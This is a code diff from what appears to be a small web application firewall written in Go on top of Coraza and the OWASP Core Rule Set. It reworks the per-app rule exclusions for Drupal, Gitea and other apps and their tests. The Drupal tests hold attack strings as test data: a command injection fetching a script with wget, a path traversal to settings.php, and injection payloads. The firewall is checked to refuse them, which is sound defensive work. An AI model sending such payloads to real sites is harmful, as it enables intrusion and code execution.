||||||
@@ -145,77 +189,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
// giteaExclusions are the eighth change: the fields of gitea's own
|
||||||
// with the fixes that let them pass.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
type app struct {
|
// directives.
|
||||||
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
|
||||||
// rules. Their first rule skips to the marker they end with, unless
|
|
||||||
// Inspect sets the transaction variable named for the app, such as
|
|
||||||
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
|
||||||
// must check that variable itself.
|
|
||||||
directives string
|
|
||||||
// cookies are the cookies the Core Rule Set reads a request without.
|
|
||||||
cookies []string
|
|
||||||
// forkOf names the app this one is a fork of, "" for none. A hostname
|
|
||||||
// that lists this app gets that app's fixes too.
|
|
||||||
forkOf string
|
|
||||||
}
|
|
||||||
|
|
||||||
//go:embed gitea.conf
|
|
||||||
var giteaDirectives string
|
|
||||||
|
|
||||||
//go:embed wordpress.conf
|
|
||||||
var wordpressDirectives string
|
|
||||||
|
|
||||||
//go:embed drupal.conf
|
|
||||||
var drupalDirectives string
|
|
||||||
|
|
||||||
//go:embed mediawiki.conf
|
|
||||||
var mediawikiDirectives string
|
|
||||||
|
|
||||||
//go:embed mastodon.conf
|
|
||||||
var mastodonDirectives string
|
|
||||||
|
|
||||||
//go:embed vaultwarden.conf
|
|
||||||
var vaultwardenDirectives string
|
|
||||||
|
|
||||||
//go:embed nextcloud.conf
|
|
||||||
var nextcloudDirectives string
|
|
||||||
|
|
||||||
//go:embed forgejo.conf
|
|
||||||
var forgejoDirectives string
|
|
||||||
|
|
||||||
//go:embed ghost.conf
|
|
||||||
var ghostDirectives string
|
|
||||||
|
|
||||||
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
|
||||||
// flash is Forgejo's name for gitea_flash.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a map
|
//go:embed gitea.conf
|
||||||
var apps = map[string]app{
|
var giteaExclusions string
|
||||||
"drupal": {directives: drupalDirectives},
|
|
||||||
"forgejo": {
|
|
||||||
directives: forgejoDirectives,
|
|
||||||
cookies: []string{"flash"},
|
|
||||||
forkOf: "gitea",
|
|
||||||
},
|
|
||||||
"ghost": {directives: ghostDirectives},
|
|
||||||
"gitea": {
|
|
||||||
directives: giteaDirectives,
|
|
||||||
cookies: []string{"gitea_flash", "redirect_to"},
|
|
||||||
},
|
|
||||||
"mastodon": {directives: mastodonDirectives},
|
|
||||||
"mediawiki": {directives: mediawikiDirectives},
|
|
||||||
"nextcloud": {directives: nextcloudDirectives},
|
|
||||||
"vaultwarden": {directives: vaultwardenDirectives},
|
|
||||||
"wordpress": {directives: wordpressDirectives},
|
|
||||||
}
|
|
||||||
|
|
||||||
// AppNames returns the names of the apps whose fixes sww has, in
|
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
||||||
// alphabetical order.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
func AppNames() []string {
|
// directives.
|
||||||
return slices.Sorted(maps.Keys(apps))
|
//
|
||||||
}
|
//go:embed wordpress.conf
|
||||||
|
var wordpressExclusions string
|
||||||
|
|
||||||
|
// drupalExclusions are the tenth change: the fields of Drupal's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed drupal.conf
|
||||||
|
var drupalExclusions string
|
||||||
|
|
||||||
|
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
||||||
|
// own requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mediawiki.conf
|
||||||
|
var mediawikiExclusions string
|
||||||
|
|
||||||
|
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mastodon.conf
|
||||||
|
var mastodonExclusions string
|
||||||
|
|
||||||
|
// vaultwardenExclusions are the thirteenth change: the fields of
|
||||||
|
// Vaultwarden's own requests that skip the rules that refused them there, as
|
||||||
|
// Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed vaultwarden.conf
|
||||||
|
var vaultwardenExclusions string
|
||||||
|
|
||||||
|
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
||||||
|
// own requests that skip the rules that refused them there, the WebDAV
|
||||||
|
// methods it uses, its cookie of the account's name, and its uploads,
|
||||||
|
// whose bodies are not read, as Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed nextcloud.conf
|
||||||
|
var nextcloudExclusions string
|
||||||
|
|
||||||
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
|
// without, the rest of the fifth change.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -231,11 +259,6 @@ type Params struct {
|
|||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
|
||||||
// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
|
|
||||||
// apps and of the apps they are forks of, or of every app while Apps is
|
|
||||||
// nil.
|
|
||||||
Apps map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -258,11 +281,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
|||||||
// directive that removes or changes rules as it loads, such as
|
// directive that removes or changes rules as it loads, such as
|
||||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||||
// the directive finds none of them.
|
// the directive finds none of them.
|
||||||
var errChangesNoRule = errors.New(
|
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
||||||
"the Core Rule Set's rules load after the file; " +
|
|
||||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||||
"with a ctl exclusion",
|
"with a ctl exclusion")
|
||||||
)
|
|
||||||
|
|
||||||
// directivesIn returns the directives in text as Coraza reads them: it
|
// directivesIn returns the directives in text as Coraza reads them: it
|
||||||
// skips blank lines and comment lines, and joins a line ending in \ to
|
// skips blank lines and comment lines, and joins a line ending in \ to
|
||||||
@@ -306,27 +327,18 @@ func checkExclusions(exclusions string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
||||||
return fmt.Errorf(
|
return fmt.Errorf("the exclusions file names %s: %w", match[0],
|
||||||
"the exclusions file names %s: %w",
|
errSwwRuleID)
|
||||||
match[0],
|
|
||||||
errSwwRuleID,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Coraza takes the directive's name up to the first space, without
|
// Coraza takes the directive's name up to the first space, without
|
||||||
// regard to case.
|
// regard to case.
|
||||||
name, _, _ := strings.Cut(directive, " ")
|
name, _, _ := strings.Cut(directive, " ")
|
||||||
if lower := strings.ToLower(name); strings.HasPrefix(
|
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
|
||||||
lower,
|
|
||||||
"secruleremove",
|
|
||||||
) ||
|
|
||||||
strings.HasPrefix(lower, "secruleupdate") {
|
strings.HasPrefix(lower, "secruleupdate") {
|
||||||
return fmt.Errorf(
|
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
|
||||||
"%s in the exclusions file changes no rule: %w",
|
errChangesNoRule)
|
||||||
name,
|
|
||||||
errChangesNoRule,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -338,17 +350,13 @@ func checkExclusions(exclusions string) error {
|
|||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
// appsByHostname are the names of the apps each hostname serves, by
|
|
||||||
// hostname in lowercase (SWW_APPS), nil while SWW_APPS is unset.
|
|
||||||
appsByHostname map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
// New returns the Core Rule Set with the fourteen changes, at params'
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// request bodies up to params' limit, and with params' exclusions file
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
// cannot be read or does not parse, or if checkExclusions refuses it.
|
||||||
// it.
|
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyLimit > 0 {
|
||||||
@@ -371,13 +379,10 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var fixes strings.Builder
|
|
||||||
for _, name := range AppNames() {
|
|
||||||
fixes.WriteString(apps[name].directives + "\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
fixes.String())
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
|
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
||||||
|
nextcloudExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -395,11 +400,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
||||||
engine: engine,
|
|
||||||
bodyLimit: params.BodyLimit,
|
|
||||||
appsByHostname: params.Apps,
|
|
||||||
}, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -411,12 +412,11 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client, with the
|
// Inspect runs the Core Rule Set on r, a request from client: on its
|
||||||
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
// method, its URL with the query, and its headers, the Cookie header
|
||||||
// with the query, and its headers, the Cookie header without those apps'
|
// without the cookies in cookiesNotRead, and on body, r's body as the
|
||||||
// cookies, and on body, r's body as the caller has it, as readBody reads
|
// caller has it, as readBody reads it. It returns what it found, what it
|
||||||
// it. It returns what it found, what it read of body, and the error that
|
// read of body, and the error that ended the reading early, if one did.
|
||||||
// ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -424,24 +424,13 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
// The transaction's variables are set only through Coraza's interface
|
|
||||||
// for plugins.
|
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
|
||||||
|
|
||||||
var cookiesNotRead []string
|
|
||||||
|
|
||||||
for _, name := range c.appsFor(r.Host) {
|
|
||||||
state.Variables().TX().Set("app_"+name, []string{"1"})
|
|
||||||
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
|
||||||
}
|
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookies(value, cookiesNotRead)
|
value = withoutCookiesNotRead(value)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -488,10 +477,7 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
// readBody reads one byte past the limit, to tell which they are, gives
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
// the Core Rule Set what it reads, and returns what it read and the error
|
||||||
// that ended the reading early, if one did.
|
// that ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) readBody(
|
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
||||||
tx types.Transaction,
|
|
||||||
body io.Reader,
|
|
||||||
) ([]byte, error) {
|
|
||||||
if c.bodyLimit == 0 {
|
if c.bodyLimit == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
@@ -537,35 +523,9 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// appsFor returns the names of the apps whose fixes a request for host,
|
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
||||||
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
// cookies in cookiesNotRead.
|
||||||
// those SWW_APPS lists for host's name, without the port and in
|
func withoutCookiesNotRead(value string) string {
|
||||||
// lowercase, each followed by the app it is a fork of, if any.
|
|
||||||
func (c *CoreRuleSet) appsFor(host string) []string {
|
|
||||||
if c.appsByHostname == nil {
|
|
||||||
return AppNames()
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname, _, err := net.SplitHostPort(host)
|
|
||||||
if err != nil {
|
|
||||||
hostname = host // it has no port
|
|
||||||
}
|
|
||||||
|
|
||||||
var names []string
|
|
||||||
|
|
||||||
for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
|
|
||||||
names = append(names, name)
|
|
||||||
if apps[name].forkOf != "" {
|
|
||||||
names = append(names, apps[name].forkOf)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return names
|
|
||||||
}
|
|
||||||
|
|
||||||
// withoutCookies returns value, a Cookie header's, without the cookies
|
|
||||||
// named in cookiesNotRead.
|
|
||||||
func withoutCookies(value string, cookiesNotRead []string) string {
|
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,4 @@
|
|||||||
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
@@ -25,13 +25,6 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
|
|
||||||
# while SWW_APPS is unset, or lists drupal for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_drupal itself.
|
|
||||||
SecRule &TX:app_drupal "@eq 0" \
|
|
||||||
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
# name: /admin/content/media?name=python3
|
||||||
@@ -330,5 +323,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
|
|
||||||
SecMarker END_DRUPAL
|
|
||||||
@@ -5,8 +5,6 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -39,20 +37,6 @@ const drupalEditAccount = "/user/2/edit"
|
|||||||
// drupalName is the field for a person's name, as the start of a form body.
|
// drupalName is the field for a person's name, as the start of a form body.
|
||||||
const drupalName = "name="
|
const drupalName = "name="
|
||||||
|
|
||||||
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"drupal"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Drupal's fixes let through.
|
|
||||||
search := get("/search?keys=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
// injection, as a query value.
|
// injection, as a query value.
|
||||||
//
|
//
|
||||||
@@ -140,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||||
"POST %s %q let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
|
for _, attack := range []string{
|
||||||
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
|
injection,
|
||||||
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
scriptTag,
|
||||||
t.Parallel()
|
} {
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, attack := range []string{injection, scriptTag} {
|
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"` + attack + `"`,
|
`"title":"` + attack + `"`,
|
||||||
`"body":{"value":"` + attack + `"}`,
|
`"body":{"value":"` + attack + `"}`,
|
||||||
@@ -179,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||||
http.MethodPatch,
|
|
||||||
"/node/2?_format=json",
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -228,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
|
|||||||
wantPasswordFieldsPass(t, []passwordFields{
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
{drupalRegister, formData, pass},
|
{drupalRegister, formData, pass},
|
||||||
{"/fr/user/register", formData, pass},
|
{"/fr/user/register", formData, pass},
|
||||||
{
|
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||||
"/user/1/edit",
|
|
||||||
formData,
|
|
||||||
[]string{"current_pass", pass[0], pass[1]},
|
|
||||||
},
|
|
||||||
{"/admin/people/create", formData, pass},
|
{"/admin/people/create", formData, pass},
|
||||||
{drupalJSONRegister, jsonBody, []string{value}},
|
{drupalJSONRegister, jsonBody, []string{value}},
|
||||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||||
{
|
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||||
"/user/1?_format=json",
|
|
||||||
jsonBody,
|
|
||||||
[]string{value, "pass.0.existing"},
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||||
[]string{
|
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||||
"data.attributes.pass.value",
|
|
||||||
"data.attributes.pass.existing",
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -259,15 +218,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
injection,
|
injection,
|
||||||
scriptTag,
|
scriptTag,
|
||||||
shellCommand,
|
`; wget http://example.com/x.sh`,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"name", "mail"} {
|
for _, field := range []string{"name", "mail"} {
|
||||||
r := request{
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -286,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
{"ls -la", 932250},
|
{"ls -la", 932250},
|
||||||
{".htaccess@example.com", 930120},
|
{".htaccess@example.com", 930120},
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"mail":"` + kept.value + `"}`
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
if got.Score < drupalThreshold ||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
!slices.Contains(got.RuleIDs, kept.rule) {
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s: %+v, want %d among them",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
got,
|
|
||||||
kept.rule,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -373,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
sent.field,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// An address keeps 932250, which refuses ls -la.
|
|
||||||
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
|
|
||||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
|
|
||||||
r.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
|
|
||||||
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
|
|
||||||
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"; wget http://example.com/x.sh"`,
|
`"title":"; wget http://example.com/x.sh"`,
|
||||||
`"subject":"; wget http://example.com/x.sh"`,
|
`"subject":"; wget http://example.com/x.sh"`,
|
||||||
@@ -423,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||||
http.MethodPatch,
|
|
||||||
"/node/2?_format=json",
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -442,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
|||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la.
|
||||||
|
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
||||||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||||
|
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||||
@@ -465,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= drupalThreshold {
|
if got.Score >= drupalThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||||
"POST %s %s%s refused: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
value,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
